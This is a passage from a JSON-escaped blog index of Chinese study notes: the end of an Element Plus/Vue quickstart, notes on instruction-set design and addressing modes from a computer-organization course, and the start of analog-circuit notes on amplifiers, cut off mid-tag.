plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;el-config-provider :size=\u0026#34;size\u0026#34; :z-index=\u0026#34;zIndex\u0026#34;\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;app /\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;/el-config-provider\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { defineComponent } from \u0026#39;vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElConfigProvider } from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineComponent({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e components: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ElConfigProvider,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e setup() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e return {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zIndex: 3000,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e size: \u0026#39;small\u0026#39;,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"使用-Nuxt-js\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E4%BD%BF%E7%94%A8-Nuxt-js\" class=\"headerlink\" title=\"使用 Nuxt.js#\"\u003e\u003c/a\u003e使用 Nuxt.js\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E4%BD%BF%E7%94%A8-nuxt-js\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e我们也可以使用 \u003ca href=\"https://v3.nuxtjs.org/\"\u003eNuxt.js\u003c/a\u003e:\u003c/p\u003e\u003ch2 id=\"开始使用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%BC%80%E5%A7%8B%E4%BD%BF%E7%94%A8\" class=\"headerlink\" title=\"开始使用#\"\u003e\u003c/a\u003e开始使用\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%BC%80%E5%A7%8B%E4%BD%BF%E7%94%A8\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e现在你可以启动项目了。 具体每个组件的使用方法, 请查阅 \u003ca href=\"https://element-plus.org/en-US/component/button.html\"\u003e每个组件的独立文档\u003c/a\u003e.\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/"},{"title":"计组笔记:第五章-指令系统","time":"2023-06-17T12:07:32Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e指令是硬件和软件的中间层。指令系统的设计主要包括\u003cstrong\u003e指令功能\u003c/strong\u003e和\u003cstrong\u003e指令格式\u003c/strong\u003e的设计。它的评价指标有四点:完备(不能缺少功能)、高效(省地方一点)、规整(格式简单一点)、兼容性(向后兼容,无成本迁移)四方面。\u003c/p\u003e\u003ch2 id=\"指令的基本格式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E6%8C%87%E4%BB%A4%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"指令的基本格式\"\u003e\u003c/a\u003e指令的基本格式\u003c/h2\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201110.png\"/\u003e\u003c/p\u003e\u003cp\u003e主要是两部分,首先是\u003cstrong\u003e操作码\u003c/strong\u003e,其次是数个地址(0个或多个)。将二进制编码用助记符表示,就是汇编语言。\u003c/p\u003e\u003cp\u003e计算机的存储方式有\u003cstrong\u003e大端存储(从数据的高字节开始存)、小端存储(从数据的低字节开始存)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201456.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201611.png\"/\u003e\u003c/p\u003e\u003cp\u003e此外还有\u003cstrong\u003e边界对齐\u003c/strong\u003e的概念。如图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617201659.png\"/\u003e\u003c/p\u003e\u003cp\u003e还有一种存储模式,\u003cstrong\u003e堆栈\u003c/strong\u003e。这里的堆栈应该就是栈,堆和栈是俩不一样的东西,堆是存程序malloc的内存的,栈是存程序函数调用开销的,这俩在程序的内存中存储的位置也不一样。\u003c/p\u003e\u003cp\u003e存储模式也有两类:冯诺依曼结构(程序和数据等价)、哈佛结构(程序和数据不对等)。后者对于流水线结构有优化,能达到流水线的理想性能。现在的芯片内部Cache有的会使用哈佛结构:数据Cache、指令Cache,而外部使用冯诺依曼结构。\u003c/p\u003e\u003ch2 id=\"指令的典型分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E6%8C%87%E4%BB%A4%E7%9A%84%E5%85%B8%E5%9E%8B%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"指令的典型分类\"\u003e\u003c/a\u003e指令的典型分类\u003c/h2\u003e\u003cul\u003e\u003cli\u003e数据传送类:频率最高,要快\u003c/li\u003e\u003cli\u003e算数运算类\u003c/li\u003e\u003cli\u003e逻辑运算类\u003c/li\u003e\u003cli\u003e程序控制类\u003cul\u003e\u003cli\u003e转移\u003c/li\u003e\u003cli\u003e循环\u003c/li\u003e\u003cli\u003e过程调用、返回指令\u003c/li\u003e\u003cli\u003e程序自中断指令\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e系统控制类:特权指令,虚存管理、任务切换、改变处理器工作模式\u003c/li\u003e\u003cli\u003e数据转换类:可选\u003c/li\u003e\u003cli\u003e输入输出类:根据统一编址(把接口的寄存器映射到主存,用数据传输指令访问外设)和独立编址,可能没有专门的输入输出指令。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"寻址方式:指令获取操作数的方式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E5%AF%BB%E5%9D%80%E6%96%B9%E5%BC%8F%EF%BC%9A%E6%8C%87%E4%BB%A4%E8%8E%B7%E5%8F%96%E6%93%8D%E4%BD%9C%E6%95%B0%E7%9A%84%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"寻址方式:指令获取操作数的方式\"\u003e\u003c/a\u003e寻址方式:指令获取操作数的方式\u003c/h2\u003e\u003cul\u003e\u003cli\u003e隐含寻址:例如Intel指令\u003ccode\u003eMUL BL\u003c/code\u003e,事先规定好了地址在哪\u003c/li\u003e\u003cli\u003e立即寻址:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203658.png\"/\u003e\u003c/li\u003e\u003cli\u003e寄存器寻址:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203717.png\"/\u003e\u003c/li\u003e\u003cli\u003e直接寻址:\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203731.png\"/\u003e\u003c/li\u003e\u003cli\u003e间接寻址:操作数地址的地址,需要访问两次主存,比较慢\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203746.png\"/\u003e\u003c/li\u003e\u003cli\u003e寄存器间接寻址:把上面的地址放在CPU内部寄存器\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203754.png\"/\u003e\u003c/li\u003e\u003cli\u003e基址寻址:用来实现主存分段 \u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203826.png\"/\u003e\u003c/li\u003e\u003cli\u003e变址寻址:用来实现数组遍历 \u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203835.png\"/\u003e\u003c/li\u003e\u003cli\u003ePC相对寻址:PC指向下一条指令,这个方式给PC加偏移量,所以能用来实现与地址无关的程序设计\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617203551.png\"/\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e例如,x86处理器的条件转移指令就是一种PC相对寻址。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617204150.png\"/\u003e\u003c/p\u003e\u003cp\u003e无关位置的程序实现:\u003c/p\u003e\u003cul\u003e\u003cli\u003e虚存管理:逻辑地址\u003c/li\u003e\u003cli\u003e内存分段管理:段内偏移\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面两种方案的缺点是位数多,占用指令存储空间大。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617204711.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"指令长度设计\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#%E6%8C%87%E4%BB%A4%E9%95%BF%E5%BA%A6%E8%AE%BE%E8%AE%A1\" class=\"headerlink\" title=\"指令长度设计\"\u003e\u003c/a\u003e指令长度设计\u003c/h2\u003e\u003cul\u003e\u003cli\u003e一般原则\u003cul\u003e\u003cli\u003e指令长度为存储器\u003cstrong\u003e最小可寻址单位\u003c/strong\u003e的整数倍:(CISC)(x86)\u003c/li\u003e\u003cli\u003e指令长度一般为\u003cstrong\u003e总线宽度\u003c/strong\u003e的整数倍:RISC\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e常用设计方案\u003cul\u003e\u003cli\u003e变长操作码,变长指令码:CISC(x86)\u003c/li\u003e\u003cli\u003e定长操作码,定长指令码:RISC\u003cul\u003e\u003cli\u003eMIPS,6位定长操作码,32位定长指令码\u003c/li\u003e\u003cli\u003eRISC-V,7位定长操作码,32位定长指令码\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e操作码\u003c/strong\u003e格式分为\u003cstrong\u003e定长、变长操作码\u003c/strong\u003e,变长操作码为了防止重复指令,得用赫夫曼编码来编制操作码。\u003c/p\u003e\u003col\u003e\u003cli\u003e定长操作码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e对于定长操作码,可以将指令从高频到低频排序,依次给从0开始编号。\u003c/p\u003e\u003cul\u003e\u003cli\u003e优点:操作码构造简单,硬件设计简单,译码速度快\u003c/li\u003e\u003cli\u003e缺点:操作码占存储空间大,难以扩展\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e变长操作码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e对于变长操作码,按照频率高到低排序,再构造霍夫曼树作为编码结果。\u003c/p\u003e\u003cp\u003e变长操作码设计原则:\u003c/p\u003e\u003cul\u003e\u003cli\u003e若指令字长度固定,则长地址码对应短操作码,操作码长度随地址码长度缩短而增加\u003c/li\u003e\u003cli\u003e如果指令字长度可变,则以指令使用频率为设计依据,高频短码,低频长码\u003c/li\u003e\u003cli\u003e设计总是\u003cstrong\u003e从短码开始\u003c/strong\u003e,并且保证现在的操作码和以后扩展的编码能区分\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e短码不能是长码的前缀\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e根据赫夫曼编码的合并方式不同,得到的结果可能不唯一,但是\u003cstrong\u003e平均码长一定是唯一的\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e缺点:编码长度种类过多,电路设计困难\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617205817.png\"/\u003e\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e扩展操作码\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e是将赫夫曼编码的码长变为更少的种类。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618013331.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,它编码种类较少的同时,码长也很接近赫夫曼编码。因此实际设计时,一般使用这种设计方式。比如CISC的x86就可以这么设计。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617210813.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面是两种设计方式。一个长度的指令码必须保留一种组合给更长的指令码做前缀。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618013746.png\"/\u003e\u003c/p\u003e\u003cp\u003e因此,上面的操作码可以设计如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e三地址:操作码6位,指令数$n_3\\leq2^6-1$\u003c/li\u003e\u003cli\u003e双地址:操作码11位,指令数$n_2\\leq(2^6-n_3)\\cdot2^5-1$\u003c/li\u003e\u003cli\u003e单地址:操作码16位,指令数$n_1\\leq((2^6-n_3)\\cdot2^5-n_2)\\cdot2^5-1$\u003c/li\u003e\u003cli\u003e零地址:操作码32位,指令数$n_0\\leq(((2^6-n_3)\\cdot 2^5 - n_2)\\cdot2^5-n_1)\\times2^{16}$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618014509.png\"/\u003e\u003c/p\u003e\u003cp\u003e对于上面的问题,相当于计算单地址指令一共有多少个。我们分析如下:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618014832.png\"/\u003e\u003c/p\u003e\u003cp\u003e由上图的不等式能解出来,B类指令最多一共有254条。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617211810.png\"/\u003e\u003c/p\u003e\u003cp\u003e上题还是从短码开始考虑。首先短码有m条,则剩下的前缀有$2^4-m$个。再乘以长码扩展的长度$2^6$,就能得到长码最多的个数。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618015643.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618015933.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617213025.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"5-6-典型指令系统\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#5-6-%E5%85%B8%E5%9E%8B%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"5.6.典型指令系统\"\u003e\u003c/a\u003e5.6.典型指令系统\u003c/h2\u003e\u003ch3 id=\"Intel-x86\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#Intel-x86\" class=\"headerlink\" title=\"Intel x86\"\u003e\u003c/a\u003eIntel x86\u003c/h3\u003e\u003cp\u003e发展:从诞生时的80条指令增长到2015的3600条指令(来源Intel博客)。\u003c/p\u003e\u003cp\u003e十分复杂,指令集手册5000多页(\u003c/p\u003e\u003cp\u003e目前在向着RISC的方向均衡。它十分适合高性能计算。\u003c/p\u003e\u003ch3 id=\"MIPS\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/#MIPS\" class=\"headerlink\" title=\"MIPS\"\u003e\u003c/a\u003eMIPS\u003c/h3\u003e\u003cp\u003eARM手册也长,8000多页(\u003c/p\u003e\u003cp\u003e32位MIPS\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618023229.png\"/\u003e\u003c/p\u003e\u003cp\u003e64位MIPS,14种指令格式\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230618023357.png\"/\u003e\u003c/p\u003e\u003cp\u003eMIPS是arm流行之前,最流行的处理器。\u003c/p\u003e\u003cp\u003e这一章基本就是这样了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/"},{"title":"模电:第三章-放大电路分析方法","time":"2023-06-13T12:54:14Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"集电极放大电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E9%9B%86%E7%94%B5%E6%9E%81%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"集电极放大电路\"\u003e\u003c/a\u003e集电极放大电路\u003c/h2\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230605182453.png\"/\u003e\u003c/p\u003e\u003cp\u003e电路分析使用\u003cstrong\u003e静态分析\u003c/strong\u003e和\u003cstrong\u003e动态分析\u003c/strong\u003e两种方式,分别针对直流通路和交流通路。前者确定其静态工作点,后者确定其放大参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e静态分析\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e原理:KCL,列写方程如下:$V_{cc}=I_{BQ}R_b+U_{BEQ}+I_{EQ}R_e$\u003c/p\u003e\u003cp\u003e从而得到$Q(I_{BQ},I_{CQ},U_{CEQ})$如下:\u003c/p\u003e\u003col\u003e\u003cli\u003e$I_{BQ}=\\frac{V_{CC}-U_{BEQ}}{R_b}$\u003c/li\u003e\u003cli\u003e$I_{CQ}=\\beta I_{BQ}$\u003c/li\u003e\u003cli\u003e$U_{CEQ}=V_{CC}-I_{EQ}R_e=V_{CC}-I_{CQ}R_c$\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e动态分析:利用微变等效电路\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e交流输入电阻:$r_{be}=r_{bb’}+\\beta\\frac{U_T(26mv)}{I_{CQ}}$\u003c/li\u003e\u003cli\u003e电压放大倍数:$A_u=\\frac{U_o}{U_i}=-\\beta\\frac{R_L’(=R_C//R_L)}{R_{be}}$\u003c/li\u003e\u003cli\u003e输入电阻:$R_i=\\frac{U_i}{I_i}=R_b//r_{be}$\u003c/li\u003e\u003cli\u003e输出电阻:$R_o=R_c$\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e失真现象:\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e注意:下面的讨论限于NPN型电路,PNP型需要反过来理解。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e消除方法\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eQ点过高:$I_{BQ}$偏大\u003c/td\u003e\u003ctd\u003e饱和失真(底部失真)\u003c/td\u003e\u003ctd\u003e增大$R_b$\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eQ点过低:$I_{BQ}$偏小\u003c/td\u003e\u003ctd\u003e截止失真(顶部失真)\u003c/td\u003e\u003ctd\u003e减小$R_b$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e功率电子电路:还有一种失真是针对\u003cstrong\u003e乙型功率放大电路\u003c/strong\u003e的,它将两个三极管组合起来分别放大正版周期和负半周期。在接近$U$轴时,两个三极管均会进入截止区,此时信号会出现\u003cstrong\u003e交越失真\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e共基极放大电路特点:电压跟随、输入电阻大、输出电阻小\u003c/p\u003e\u003ch2 id=\"多级放大电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E5%A4%9A%E7%BA%A7%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"多级放大电路\"\u003e\u003c/a\u003e多级放大电路\u003c/h2\u003e\u003cul\u003e\u003cli\u003e耦合方式\u003cul\u003e\u003cli\u003e阻容耦合\u003cul\u003e\u003cli\u003e各级静态工作点独立,便于分析设计\u003c/li\u003e\u003cli\u003e难以大规模集成\u003c/li\u003e\u003cli\u003e不能放大直流信号和低频信号\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e直接耦合\u003cul\u003e\u003cli\u003e各级静态工作点不独立,存在零点漂移(温度变化造成)\u003c/li\u003e\u003cli\u003e可以大规模集成\u003c/li\u003e\u003cli\u003e能同时放大直流信号和低频信号\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它的放大倍数等于各级放大倍数的乘积。它的动态/静态分析从输入端到输出端进行。\u003c/p\u003e\u003ch2 id=\"差动放大电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E5%B7%AE%E5%8A%A8%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"差动放大电路\"\u003e\u003c/a\u003e差动放大电路\u003c/h2\u003e\u003cp\u003e它使用外部干扰作用于两个端口上的干扰信号程度一致这个特性,将输入分为共模/\u003cstrong\u003e差模\u003c/strong\u003e信号,以将干扰抵消。\u003c/p\u003e\u003ch2 id=\"负反馈电路\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/#%E8%B4%9F%E5%8F%8D%E9%A6%88%E7%94%B5%E8%B7%AF\" class=\"headerlink\" 